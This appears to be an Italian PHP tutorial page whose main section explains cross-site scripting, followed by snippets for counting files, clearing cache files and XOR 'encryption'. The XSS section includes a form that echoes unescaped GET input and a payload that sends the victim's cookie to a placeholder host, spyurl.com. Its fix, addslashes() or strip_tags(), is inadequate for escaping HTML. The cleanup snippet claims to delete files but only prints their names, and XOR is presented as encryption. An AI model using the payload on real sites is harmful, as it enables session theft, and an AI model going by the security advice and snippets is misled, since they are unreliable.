Tecnica di scripting corss-site

Mediante questa tecnica, un hacker potrebbe eseguire porzioni di codice in linguaggi di scripting lato-client, come Javascript, al fine di carpire cookie o altri dati sensibili.
Il cross-site scripting non è affatto complesso da realizzare: basta inserire dati grezzi nell'HTML del sito. Per esempio, l'hacker potrebbe digitare:

<script language="javascript">alert();</script> in una casella di input che non genera tag HTML.

Il seguente script illustra questa possibilità:

<html>
<head><title>Devjoker: Esempio XSS</title></head>
<body>
<form>
<input name='devjoker' value='<?php echo $_GET['devjoker']; ?>'>
</form>
</body>
</html>

Si tratta di uno script molto immediato. Supponete che l'hacker digiti questa stringa nel capo del vostro modulo:

'></a><script>alert(document.cookie);</script><a b='

Il codice JavaScript darebbe origine a questa finestra popup:



Naturalmente, non si tratta di niente di spaventoso. Tuttavia supponete che, invece di questo innocente popup, l'input sia:

'></a><script>document.location='http://spyurl.com/cgi-bin/cookie.cgi?f='+document.cookie</script><a b='


Quando l'utente è portato ad attivare questo URL, i contenuti del suo cookie verranno inviati a siteurl.com. Naturalmente è improbabile che l'utente faccia clic su un URL contenente spyurl.com, ma "spyurl.com" potrebbe essere in una forma codificata, tale da apparire meno "sospetta", specialmente ai principianti di Internet.

Si può "bonificare" l'input mediante la funzione addslashes() che aggiunge una barra davanti a qualsiasi virgoletta semplice ('), doppia ("), backslash(\) e al simbolo di NULL (\0). Esistono comunque altre funzioni per rendere più sicuro l'input, come strip_tags().

Continua a leggere!

PHP: Contare i files ricorsivamente

Un esempio che ritorna il numero di files inclusi anche nelle sottodirectory.
E' necessario utilizzare una funzione normalize_path per essere sicuri che la variabile $path contenga gli slash finali (-> http://codedump.jonasjohn.de/snippets/normalize_path.htm)

function count_files_recursive($path) {
$files = 0;
$dir = opendir($path);

if (!$dir){return 0;}
while (($file = readdir($dir)) !== false) {
if ($file[0] == '.'){ continue; }
if (is_dir($path.$file)){
$files += count_files_recursive($path.$file.DIRECTORY_SEPARATOR);
}
else {
$files++;
}
}
closedir($dir);
return $files;
}

Continua a leggere!

Questo esempio mostra come cancellare determinati tipi di file dopo un periodo di tempo. Questo può essere utile, per esempio, per cancellare files in cache.

// Definire la directory da pulire
$captchaFolder = 'temp/';
// I tipi di file da controllare (si può usare anche *.*)
$fileTypes = '*.jpg';
// Qui è possibile definire dopo quanti
// minuti i file saranno cancellati
$expire_time = 20;

foreach (glob($captchaFolder . $fileTypes) as $Filename) {
$FileCreationTime = filectime($Filename);
$FileAge = time() - $FileCreationTime;
if ($FileAge > ($expire_time * 60)){
print "The file $Filename is older than $expire_time minutes\n";
}
}

Continua a leggere!

Cryptiamo una stringa con una chiave utilizzando l'algoritmo XOR.

- Il parametro InputString specifica la stringa data in input.
- Il parametro KeyPhrase specifica la chiave da utilizzare.

function XOREncryption($InputString, $KeyPhrase){
$KeyPhraseLength = strlen($KeyPhrase);
for ($i = 0; $i < strlen($InputString); $i++){
$rPos = $i % $KeyPhraseLength;
$r = ord($InputString[$i]) ^ ord($KeyPhrase[$rPos]);
$InputString[$i] = chr($r);
}
return $InputString;
}

function XOREncrypt($InputString, $KeyPhrase){
$InputString = XOREncryption($InputString, $KeyPhrase);
$InputString = base64_encode($InputString);
return $InputString;
}

function XORDecrypt($InputString, $KeyPhrase){
$InputString = base64_decode($InputString);
$InputString = XOREncryption($InputString, $KeyPhrase);
return $InputString;
}

Continua a leggere!